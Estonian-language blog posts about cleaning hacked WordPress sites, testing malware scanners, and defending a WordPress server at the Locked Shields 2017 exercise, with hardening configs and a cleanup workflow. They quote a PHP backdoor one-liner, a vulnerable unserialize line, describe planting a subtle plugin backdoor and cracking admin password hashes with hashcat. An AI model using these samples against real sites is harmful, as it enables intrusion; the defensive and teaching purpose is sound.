Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

Locked Shields 2017 – põhjalikult iganenud WordPress ja tööstuslikud kaitsemeetmed

Kui Andris nägi augulist drooni-scheduleri esimest korda päev enne Locked Shields’i algust – siis mina olin enda peale võtnud avaliku www ja selleks osutus WordPress, mille turvamisse ja puhastamisse olen ma viimase aasta jooksul matnud nii töö- kui puhke-aega. Suht plass lugu oleks kõige selle järel vastased mingi tähelepanematuse tõttu sisse lasta…

See postitus on kolmas osa järjejutust, mis võtab kokku Andrise ja Peetri poolt Locked Shields 2017 küberõppusel Eesti blue team’is osaledes kogetu.
Loe ka:
Osa 1 – sissejuhatus ja taust
Osa 2 – üks jube tudengiprojekt “väikse” tagauksega

Minu olukorra tegi eriti huvitavaks see, et ühelt poolt olen ma oma kaitsestrateegiat mõni aeg tagasi kirjeldanud ja demonud ka üritustel, kus muuhulgas kohal punase tiimi esindajad. Ja teisalt pidas meie psy-ops osakond oluliseks lekitada infot, nagu kaitseks veebi hoopis üks veebiturva-agentuur, kelle kaitsest mitte-läbi-saamine käiks selgelt punaste au pihta … miska tiimide võrdse kohtlemise printsiibist lähtudes eeldasin meile osaks saavat keskmisest võrdsemat tähelepanu.

Esimene pilk veebile

Loomulikult oli see REST-API auguga WordPress 4.7.1, teemade kataloogis lisaks kasutusel olevale ka 11 tarbetut ning pluginate all… 32 nimetust. Enamus uuendust vajavad, alternatiivina otse PHPd käivitavad või SQL-päringuid lubavad, sekka paar eelajaloolist ja autori poolt unarusse jäetud ronti ning üks konkreetselt pahatahtlik.

”WordPress oli lihtsalt selleks, et näha, kas osalejad vähemalt update-nuppu oskavad pressida” seletati mulle aftekal. Tegelikult oli lugu natuke nutusem, sest uuendamine on küll hea profülaktiline meede – aga ei aita, kui veebis on juba paharett sees. Sest et:

  • WPd uuendades kirjutatakse üle muutunud failid, aga kõik mittemuutunu, sh varasemate versioonide puhul kasutatud ja tänaseks tarbetuks muutunud failid, jääb alles.
  • Pluginate uuendamine on veidi nutikam st kataloog kustutatakse tühjaks ja tehakse sisuliselt uus paigaldus… aga seda ainult pluginatele, mille jaoks on uuendus saadaval. Valikus oli lisaks ka galerii-plugin, mis talletas pildid oma kataloogi alla ehk selle uuendamine tõmbas vee peale kasutaja poolt üles laetud sisule.

Seetõttu on häkkerite lemmikuks WP paigalduse juurkataloog, kuhu lisatud wp-misiganes.php failid ei hakka väiksema kogemuse korral silma, aga ka wp-includes mida uuenduse käigus ei puhastata, kasutult seisvad teemad ja tasulised või hüljatud pluginad, mille lihtne uuendamine (enam) võimalik ei ole. Kasutusel olev teema on samuti hea koht, sest sageli on keegi seda kohandanud ning uuendamise korral lähevad muudatused kaduma.

Advanced WordPersistent haxxors

Tavapäraselt sokutavad rendihäkkerid uuendusele mitte alluvasse kohta oma obfuskeeritud tagaukse ja webshellid ning need näevad juba kaugelt vaadates kahtlased välja. Meid oli aga kostitatud veidi peenemate nippidega – näiteks mõne turvafeatuuri väljakommenteerimise, või pisimuudatusega SQL-lauses:

Mis siin siis toimub? WP ei kasuta prepared statement’e, vaid laseb SQL-laused oma kiirpuhastusest läbi. Selle muudatuse järel liidetakse aga puhastatud lausele otsa kasutajalt saadud parameeter. Kuigi me üldiselt hoidume punaste häkkide avaldamisest – siis see on natuke liiga õpetlik näide ja ma tahan, et kõik veebide puhastamisega kokku puutujad mõtleksid sügavalt järgi, kas nende töövõtted – nt antiviiruse või yara-reeglitega skannimised – ikka toimivad.

Selliseid muudatusi ükshaaval taga ajada pole mõtet, vaja on süsteemsemat lähenemist. Mis oleks, kui vahetaks hoolikalt välja kogu WP koodi, 35 pluginat ja teemad? Hold my beer while…

Või oot, hoian ise – sest nagu ma muretsevatele tiimikaaslastele kommenteerisin: selle WPga tegelen ma õhtul kodus vasaku käega, mis jätab parema käe sobilikult õlle hoidmiseks vabaks.

Nimelt hakkasin ma aasta tagasi WPsid puhastades korduma kippuvaid käske tekstifaili koguma – ning ühel hetkel jõudis kollektsioon sinnamaale, et ma vormistasin selle üheks kenaks shelli-skriptiks. Nimeks clinup, sest see kasutas ekstensiivselt WP-CLI’d ehk WP käsurealiidest, mis võimaldab teha enamvähem kõike seda mida tavakasutajad teevad brauseris hiirega ringi klõpsides… aga ka asju, mida brauseris mugavalt teha ei saagi.

Kuri kood ja ohverdatav liivakast

Ahjah, enne, kui häkkerite poolt ülevõetud WP kasvõi käsurealt oma arvutis käima tõmmata… tasuks mõelda selle peale, et seal võib leiduda ka koodi, mis oskab teisi rakendusi nakatada (või faile krüptida :-). Minu tavapärane veebiarendus-platvorm ehk OSX all jooksev MAMP selliseks tööks mõistagi ei sobi.

Võiks ju võtta endale ajutiseks kasutuseks ühe Zone Virtuaalserveri… aga ma otsustasin tähtsa sündmuse puhul oma teadmisi veidi täiendada ja õppisin selgeks Andrise poolt paar päeva varem soovitatud Vagrant’i kasutamise: pärast väikest konfidega mängimist oli mul oma arvutis kasutusvalmis virtuaalmasin, mile ma saan ühe käsuga luua – ning hävitada, sest who cares, it’s just a VM:

vagrant up
vagrant ssh
[... teeme tööd, näeme vaeva ...]
vagrant destroy

Minu MacBook’ist sünkroniseeritakse sinna ainult üks vajalik veebirakenduse kataloog mis ettevalmistus-perioodil oli puhastatud veeb, aga õppuse ajal kontrolliks algversioon – et saaks veenduda toodanguserveris oleva puhastatu funktsionaalsuse vastamises algsele.

Vasaku käega puhastamine käib nii:

clinup init-git
clinup forensic
clinup safe

“Kas see on sul kusagil repos, saad jagada?” – saan ikka, aga privas ja ainult neile, kes on valmis omalt poolt parandusi / ideid kontribuutima. Sest (a) see on mu elu esimene shellscript ja mitte väga ilus (b) osakamatu kasutamise korral saab sellega endale jalga tulistada (c) me kasutame seda vaatamata punktidele A ja B igapäevases töös 🙂

Esimene käsk initsialiseerib git-repo ja lisab mõned ignore’d, teine vahetab WP ja kõik komponendid ükshaaval välja samade versioonide originaalidega tehes iga sammu järel git commit’i (olles enne normaliseerinud failiõigused, et mõni fail 444 tõttu alles ei jääks)… ning kolmas teeb kõigele uuendused viimaste versioonide peale, otsib uploads-kaustast faile mille nimes on .php või sees <?php … ja veel nipet-näpet nagu nt Perishable Press 6G .htaccess “tulemüüri” reeglite lisamine ning PHP otsekäivitamise piiramine wp-content kataloogi all:

Options -ExecCGI
Options -Indexes
RemoveType .php .php3 .phtml .inc
RemoveHandler .php .php3 .phtml .inc

<FilesMatch "\.(?i:php|php3|phtml|inc)($|\.)">
 Require all denied
</FilesMatch>

<IfModule mod_php7.c>
 php_flag engine off
</IfModule>

Kõige lõpus kuvatakse nimekiri failidest mida EI OLE muudetud … ehk mis vajavad käsitsi ülevaatamist.

Pildil iidsed ja pahatahtlikud pluginad, aga ka juurkataloogis näeb ls -la abil ära sinna sokutatud failid puhtalt kuupäeva järgi. Juuuube mugav.

Git’i diffide abil näen kõiki vastase poolt muudetud ridu (nt see sql-hack ülalpool) – selle pärast siis ka esimene ‘forensic’ ehk samade versioonidega asendamine. Ning kui järgnevad uuendused mingi funktsionaalsuse katki teevad, saab minna ajaloos tagasi viimase töötava commit’ini ning vajadusel muudatuse revertida.

“Aga mis sa siis teed, kui on nii vana WP et wp-cli ei käivitu või mõni plugin ta katki teeb?” On üks parameeter, mis paigaldab värske WP eraldi prefixiga, uuendab pluginad ilma neid sisse lülitamata ja siis switchib päris baasi peale tagasi. Oli teil veel mingeid muresid?

Otseloomulikult oli koodis ka üks die(), mis wp-cli käivitumist takistas… aga õnneks oli D.S. mind sarnase mõistatuse lahendamise eest just veidi aega tagasi kastikese õllega premeerinud… miska oli olemas nii teoreetiline kui materiaalne valmisolek 98% probleemide tööstuslikuks lahendamiseks.

2% käsitöö hulka kuulusid näiteks mõned kataloogid, kus oli .htaccess abil lubatud kataloogi-indeksi kuvamine – ilmselt eesmärgiga skoorida OWASP Top10 A6Sensitive Data Exposure” ning seejärel A4Insecure Direct Object Reference” – ning kasutust mitte omavate pluginate tuvastamine ja kõrvaldamine. Õppuse reeglite järgi olid kõik lisad “not just a plugin that can be removed, but installed for a reason”, aga eks me lubame need uuesti, kui keegi kobiseb.

Valmis tööks ja kodumaa kaitseks

WP puhtaks, .tar.bz2’ks kokku ja Linuxi-tiimile Ansible-playbook’i lisamiseks, koos juhistega millised on need vähesed kataloogid, kuhu veebiserver peaks omal käel kirjutada saama (sisuliselt wp-content/uploads – kõik muu olgu keelatud).

Apache ja PHP konfides said adminnidelt kinga kõik mitte-standardsed seadistused ja kergesti-leitavates kohtades olevad PHPmyadmin’id, ära keelati probleemsete funktsioonide nagu system() käivitamine, paika pandi open_basedir (et PHP ei saaks lugeda faile, kuhu vaikimisi veebiserveri õigustes võiks ligi pääseda). Ehk kõik nii askeetlikuks kui võimalik. Ja Apache ees SSL offloading’ut teinud Nginx – pomm alla ja põlema, vahet pole kas selle eesmärk oli meie tähelepanu hajutada või oli seal peidus ka mõni ründevektor. Ma nimelt kuulasin mõni aeg tagasi ühe punase loengut, kus oli jutuks kõrgema klassi maagia teostamine proxy-päistega nimelt sellises kontekstis ja see muutis mu eriti paranoiliseks… Burn, baby, burn…

Aga mõtleme veelkord, millised osad mul eelnevaga katmata jäid?

Kahtlased kasutajad andmebaasis, WP seadistused, widgetid ja postituste sisu. Igaks juhuks tasub üle vaadata ka wp_options tabel (hmm, miks need soolad siin asuvad?) ning eemaldada postituste revisionid, mida vaja pole. Ja kuidas teha nii, et ma saaksin õppuse käivitamise hetkel veel enne Ansible’t lahti neist jubedatest pluginatest? Kuidas suudaksin tagada, et legitiimsed admin-kasutajad ei saaks turvakaalutlusel keelatud ent igaks juhuks olemas olevat pluginat taas-lubada? Ja kuidas ma saan jälgida kõike toimuvat mõne audit-everything pluginaga nii, et admin-kasutajad ei saaks seda välja lülitada? Lisaks – korraldajad lubasid meil keelata ära tundmatult IPlt admin-liidesesse sisenemise admin-kasutajatel, jättes selle siiski avatuks nt toimetajatele…

Õnneks on WordPressil selline võimalus nagu must-use plugins – ehk luues wp-content/mu-plugins kausta saan sinna sokutada kraami, mis tõmmatakse käima enne kõike muud. Viskasin kiiruga valmis oma quick-hacks.php plugina, mis realiseeris valikulise IP-piirangu sisselogimisele, sisaldas nimekirja pluginatest mis tuli ära keelata ning tappis maha ka XML-RPC ja REST APId. Naabriks sai ta endale Stream plugina, mis sokutab ennast vahele igale muutmisoperatsioonile ning kuvab audit-logi.

<?php
/*
 * Place for LS17blue10 WP hacks
 * peeter@zone.ee / v0.1
 *
 * */

if ( ! defined( 'ABSPATH' ) ) {
 die( 'Horrible, terrible death - here be much dragons!' );
}

add_action( 'muplugins_loaded', 'blue10_muplugins_loaded', 9999 );

function blue10_muplugins_loaded() {
 deactivate_plugins(
 [
 'php-code-widget/execphp.php',
 'insert-php/insert_php.php',
 'ip-logger/ofc_handle_image.php',
 'sql-executioner/sql-executioner.php',
 ]
 );
}

Startex!

Mängu alguses oli meil “väike võrguikaldus”, mistõttu ükski hoolega ettevalmistatud Ansible playbook’idest oma süsteemi uuendamise tööd alustada ei saanud ja äkitselt oli laual küsimus – mis on plaan B?

Vähemalt toimis minu igaks-juhuks-kribatud skript, mis ühenduse tekkimisel kohe SSHga serverisse logis ja kõigist veebikomponentidest startex-seisuga koopia tegi. Järelikult võin ma käsitsi olulisemad parandused peale lasta kartmata, et ei suuda hiljem mõne probleemi ilmnemisel algset versiooni taastada … ja teha muid liigutusi, näiteks selle igaks-juhuks-tehtud-mu-plugina abil. Olemaks valmis, kui uuendused ei saa tehtud enne punaste poolt jäetud 30-minutist armuaega. Tööd jätkus sedapuhku mõlemale käele – aga matet saab õnneks käed-vabad režiimis ehk kõrrega juua, seega oli olukord talutav.

Kui veidi hiljem ka ettevalmistatud uuendused tehtud said, oli aega ringi vaadata. Ilmnes, et ma olin suutnud iidseks ja tarbetuks kuulutada ühe vormiplugina… millega oli realiseeritud mh failide üleslaadimist lubav kontaktivorm (uwaga! uwaga! pluginas realiseeritud failihaldus on alati ohumärk). Teoreetiliselt peaksid kõik muud kaitsed takistama selle kasutamist deface’inguks kvalifitseeruvate failide üles laadimiseks… aga hunt seda koodi auditeerida jõuab. Vorm on vorm ja lihtsam on see uuesti realiseerida. Reaalses elus paneks ma asemele tuntud ja turvalise vormiplugina ning vormistaks selle kliendile suureks heateoks (või väikseks arveks), aga kuna kasutajaid simuleeriv automaatika kontrollis nimelt selle plugina tunnust HTMLis oli lihtsam niipidi. Kasutajad said nuppu klikkida ja tulemus läks ka kenasti serverisse kirja. Aga natuke tiksus monitooringust miinust.

Rahulikumal hetkel mängisin oma Vagrant’i liivakastis samm-haaval läbi ka Apache’le Mod Security paigaldamise (see oli meil plaanis, aga ettevalmistuse käigus oli olulisemat teha) ning kirjutasin paigaldamise skriptiks, mis lubaks seda kiiresti korrata ka juhul, kui mängujuhid peaksid liiga hea kaitse preemiaks süsteemi ootamatult revertima augulisse algseisu. Läks lives käima küll. Õigupoolest midagi kaitsta vaja ei olnud, aga ma tahtsin ründajate taktika hilisemaks uurimiseks põhjalikumaid logisid koguda. Paraku olid nad selleks ajaks juba käega löönud ning midagi massiivselt ilusat ma ei leidnud.

Ja siis tuli psy-ops’i ülesande lõpule viimine – ma olin unustanud ära vajaduse sokutada veebi markereid, mis viitaksid kaitsjatele. Väike false flag… Mis sai liiga nähtavasse kohta peidetud ja kuuldavasti leidmata jäi, olgu siis siinkohal täies ilus ette näidatud:

robots.txt (inspireeritud Riigikohtu veebi kunagisest kaitsemeetmest):

# done: protect important files and folders from robots
User-agent: *
Disallow: /webarx-logs
Disallow: /humans.txt
# todo: protect important files from humans looking at robots.txt
Disallow: /robots.txt

humans.txt:

In order to save humankind Uber has agreed to execute one kitten for each visit to this URL:

http://goo.gl/GGaqDF (spelled: "googl golonel gaddafqi")

Please - be humane to humans!

Viidatud logid olid muidugi kah omal kohal (samuti neid produtseeriv plugin) ja sisaldasid avaliku logimise heale tavale vastavalt häkkerite tööd lihtsustavat informatsiooni meie veebi sise-elu kohta.

Olgu öeldud, et kui meie tõeline identiteet esimese päeva õhtu Aktuaalse Kaamera klipi näol paljastus… registreerus järgmisel hommikul autori õigustes veebikasutajaks keegi oliver.sild – ma olin kõige muu eest hoolitsedes jätnud märkamata selle, et WPs oli lubatud kasutajate registreerimine ja kõik liitujad said rolliks Author.

Üsna valus viga muidugi – aga ega ta seal suurt midagi teha ei saanud… ja Stream’i auditi-logist torkas kohe silma : )

Järjejutu kõik osad:

WordPressi viimine HTTPS peale

WordPressi veebi viimine HTTPS peale on lihtne – vaja on tellida Let’s Encrypt sertifikaat, muuta aadressis http:// ümber https://-iks ning asendada olemasolevates postitustes olevad pildi- ja sisulingid (selleks leiab abi pluginast).

Mõnel puhul võib http:// olla ka teemasse kirjutatud – siis ei jää muud üle, kui tuleb need kohad teema-failidest üles otsida ja asendada https://-iga (kui pole varem teema muutmisega tegelenud, siis tasub selleks punktiks küsida veebimeistri abi).

